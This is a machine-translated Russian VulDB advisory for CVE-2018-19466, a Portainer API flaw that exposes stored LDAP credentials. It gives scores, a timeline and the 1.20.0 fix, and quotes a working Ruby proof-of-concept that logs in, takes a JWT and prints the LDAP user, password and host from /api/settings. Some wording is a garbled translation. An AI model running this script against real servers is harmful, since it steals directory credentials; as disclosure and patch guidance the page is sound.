Portainer до 1.19.x API Credentials эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
7.3$0-$5k0.00

СводкаИнформация

В проблематичный обнаружена уязвимость, классифицированная как Portainer до 1.19.x. Поражена неизвестная функция компонента API. Осуществление манипуляции приводит к эскалация привилегий (Credentials). Эта уязвимость продается как CVE-2018-19466. Атаку можно провести дистанционно. Более того, существует эксплойт. Рекомендуется обновить затронутый компонент.

ПодробностиИнформация

В проблематичный обнаружена уязвимость, классифицированная как Portainer до 1.19.x. Поражена неизвестная функция компонента API. Осуществление манипуляции приводит к эскалация привилегий (Credentials). Декларирование проблемы с помощью CWE приводит к CWE-255. Информация о слабости была опубликована 27.03.2019 автором Mauro Eldritch (plaguedoktor) (GitHub Repository). Консультация доступна для загрузки на github.com.

Эта уязвимость продается как CVE-2018-19466. Назначение CVE произошло 22.11.2018. Атаку можно провести дистанционно. Технические подробности отсутствуют. Уровень популярности этой уязвимости ниже среднего значения. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. Текущая цена за эксплойт может составлять около USD $0-$5k в настоящее время. Согласно MITRE ATT&CK, техника атаки, используемая в данной проблеме, имеет значение T1552.

Задано как Доказательство концепции. Эксплойт доступен по адресу github.com. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 123 дней. В случае 0-day эксплойта, предполагаемая цена на подпольном рынке была около $0-$5k. Код, используемый эксплойтом, следующий:

uri = URI.parse("http://#{$host}:#{$port}/api/auth")
request = Net::HTTP::Post.new(uri)
request.content_type = "application/json"
request.body = JSON.dump({
    "Password" => "#{$pass}",
    "Username" => "#{$user}"
})
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
    http.request(request)
end
token = JSON.parse(response.body)["jwt"]
puts "[*] Session Token: #{token}"
uri = URI.parse("http://#{$host}:#{$port}/api/settings")
request = Net::HTTP::Get.new(uri)
request["Authorization"] = "Bearer #{token}"
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
    http.request(request)
end
json_response = JSON.parse(response.body)
puts "\n[*][#{$host}]\nSettings:"
puts "\t- LDAP User: " + json_response["LDAPSettings"]["ReaderDN"]
puts "\t- LDAP Pass: " + json_response["LDAPSettings"]["Password"]
puts "\t- LDAP Host: " + json_response["LDAPSettings"]["URL"]
.

Обновление до версии 1.20.0 способно решить эту проблему. Рекомендуется обновить затронутый компонент.

ПродуктИнформация

Имя

Версия

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.3

VulDB Базовый балл: 5.3
VulDB Временная оценка: 4.8
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 9.8
NVD Вектор: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 🔍

ЭксплуатацияИнформация

Имя: Credentials
Класс: эскалация привилегий / Credentials
CWE: CWE-255
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: Mauro Eldritch (plaguedoktor)
Язык программирования: 🔍
Скачать: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: Обновление
Статус: 🔍

0-дневное время: 🔍

Обновление: Portainer 1.20.0
Патч: github.com

ХронологияИнформация

22.11.2018 🔍
24.11.2018 +2 дни 🔍
27.03.2019 +123 дни 🔍
28.03.2019 +1 дни 🔍
17.08.2023 +1603 дни 🔍

ИсточникиИнформация

Продукт: github.com

Консультация: github.com
Исследователь: Mauro Eldritch (plaguedoktor)
Статус: Подтверждённый

CVE: CVE-2018-19466 (🔍)
GCVE (CVE): GCVE-0-2018-19466
GCVE (VulDB): GCVE-100-132499
scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 28.03.2019 11:38
Обновлено: 17.08.2023 06:22
Изменения: 28.03.2019 11:38 (51), 24.05.2020 09:02 (17), 17.08.2023 06:22 (4)
Завершенный: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Обсуждение

Do you want to use VulDB in your project?

Use the official API to access entries easily!